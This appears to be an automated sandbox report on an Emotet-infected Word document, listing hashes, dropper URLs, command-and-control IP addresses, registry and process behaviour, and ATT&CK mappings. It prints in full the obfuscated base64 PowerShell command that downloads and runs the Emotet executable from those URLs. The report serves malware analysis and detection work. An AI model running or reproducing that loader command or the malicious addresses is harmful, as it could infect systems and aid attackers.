emotet | 9456039c364736bdf22944149b090434a866653ea7d35b78376b4b84c9150cc2

General

Target

SecuriteInfo.com.Exploit.Siggen2.13450.2446.23404.doc
Size

171KB
MD5

b2e7b971ae3f955ab45906eb9f28b542
SHA1

3442995dc6b53d2b428efb26909759fe1265980a
SHA256

9456039c364736bdf22944149b090434a866653ea7d35b78376b4b84c9150cc2
SHA512

0ef7456e37faba2c28e6df213b598c9e75abd302d84787f52d74a2fee8311f68b7b6df0ef2bd6d9ba9402c9c333f54a573fded9b5ad61789f4fbf0d04a830303

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/

exe.dropper

http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/

exe.dropper

http://my6thgen.org/_db_backups/t_e_v7qizcr2/

exe.dropper

http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/

exe.dropper

http://www.naayers.org/Library/o_eo_97ml/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE659.exedskquoui.exe

pid	process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3920	659.exe
3712	dskquoui.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3908 WINWORD.EXE
3908 WINWORD.EXE
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2776 576 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exedskquoui.exe

pid process

2776 powersheLL.exe
2776 powersheLL.exe
2776 powersheLL.exe
3712 dskquoui.exe
3712 dskquoui.exe
3712 dskquoui.exe
3712 dskquoui.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

16 2776 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	576	powersheLL.exe

pid	process
2776	powersheLL.exe
2776	powersheLL.exe
2776	powersheLL.exe
3712	dskquoui.exe
3712	dskquoui.exe
3712	dskquoui.exe
3712	dskquoui.exe

flow	pid	process
16	2776	powersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3920-19-0x00000000006A0000-0x00000000006AC000-memory.dmp	emotet
behavioral2/memory/3920-19-0x00000000006A0000-0x00000000006AC000-memory.dmp	emotet
behavioral2/memory/3712-22-0x0000000002100000-0x000000000210C000-memory.dmp	emotet
behavioral2/memory/3712-22-0x0000000002100000-0x000000000210C000-memory.dmp	emotet

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 2776 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

659.exedskquoui.exe

pid process

3920 659.exe
3712 dskquoui.exe

description	pid	process
Token: SeDebugPrivilege	2776	powersheLL.exe

pid	process
3920	659.exe
3712	dskquoui.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

659.exe

description	pid	process	target process
PID 3920 wrote to memory of 3712	3920	659.exe	dskquoui.exe
PID 3920 wrote to memory of 3712	3920	659.exe	dskquoui.exe
PID 3920 wrote to memory of 3712	3920	659.exe	dskquoui.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

659.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\CortanaMapiHelper.ProxyStub\dskquoui.exe 659.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\CortanaMapiHelper.ProxyStub\dskquoui.exe	659.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13450.2446.23404.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:2776

C:\Users\Admin\659.exe
C:\Users\Admin\659.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:3920

C:\Windows\SysWOW64\CortanaMapiHelper.ProxyStub\dskquoui.exe
"C:\Windows\SysWOW64\CortanaMapiHelper.ProxyStub\dskquoui.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:3712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\659.exe

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C:\Users\Admin\659.exe

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C:\Windows\SysWOW64\CortanaMapiHelper.ProxyStub\dskquoui.exe

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memory/3712-22-0x0000000002100000-0x000000000210C000-memory.dmp

Filesize
48KB

Download
memory/3712-20-0x0000000000000000-mapping.dmp

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memory/3908-15-0x0000017ADB5D4000-0x0000017ADB5DD000-memory.dmp

Filesize
36KB

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memory/3908-13-0x0000017ADB5D4000-0x0000017ADB5DD000-memory.dmp

Filesize
36KB

Download
memory/3908-14-0x0000017ADB5D4000-0x0000017ADB5DD000-memory.dmp

Filesize
36KB

Download
memory/3908-0-0x0000017ADCFC0000-0x0000017ADCFC4000-memory.dmp

Filesize
16KB

Download
memory/3908-16-0x0000017ADB5D4000-0x0000017ADB5DD000-memory.dmp

Filesize
36KB

Download
memory/3908-12-0x0000017ADAEE5000-0x0000017ADAEEA000-memory.dmp

Filesize
20KB

Download
memory/3908-11-0x0000017ADD65B000-0x0000017ADD6C5000-memory.dmp

Filesize
424KB

Download
memory/3908-10-0x0000017ADD65B000-0x0000017ADD6C5000-memory.dmp

Filesize
424KB

Download
memory/3908-9-0x0000017ADD65B000-0x0000017ADD6C5000-memory.dmp

Filesize
424KB

Download
memory/3908-8-0x0000017ADD65B000-0x0000017ADD6C5000-memory.dmp

Filesize
424KB

Download
memory/3920-19-0x00000000006A0000-0x00000000006AC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads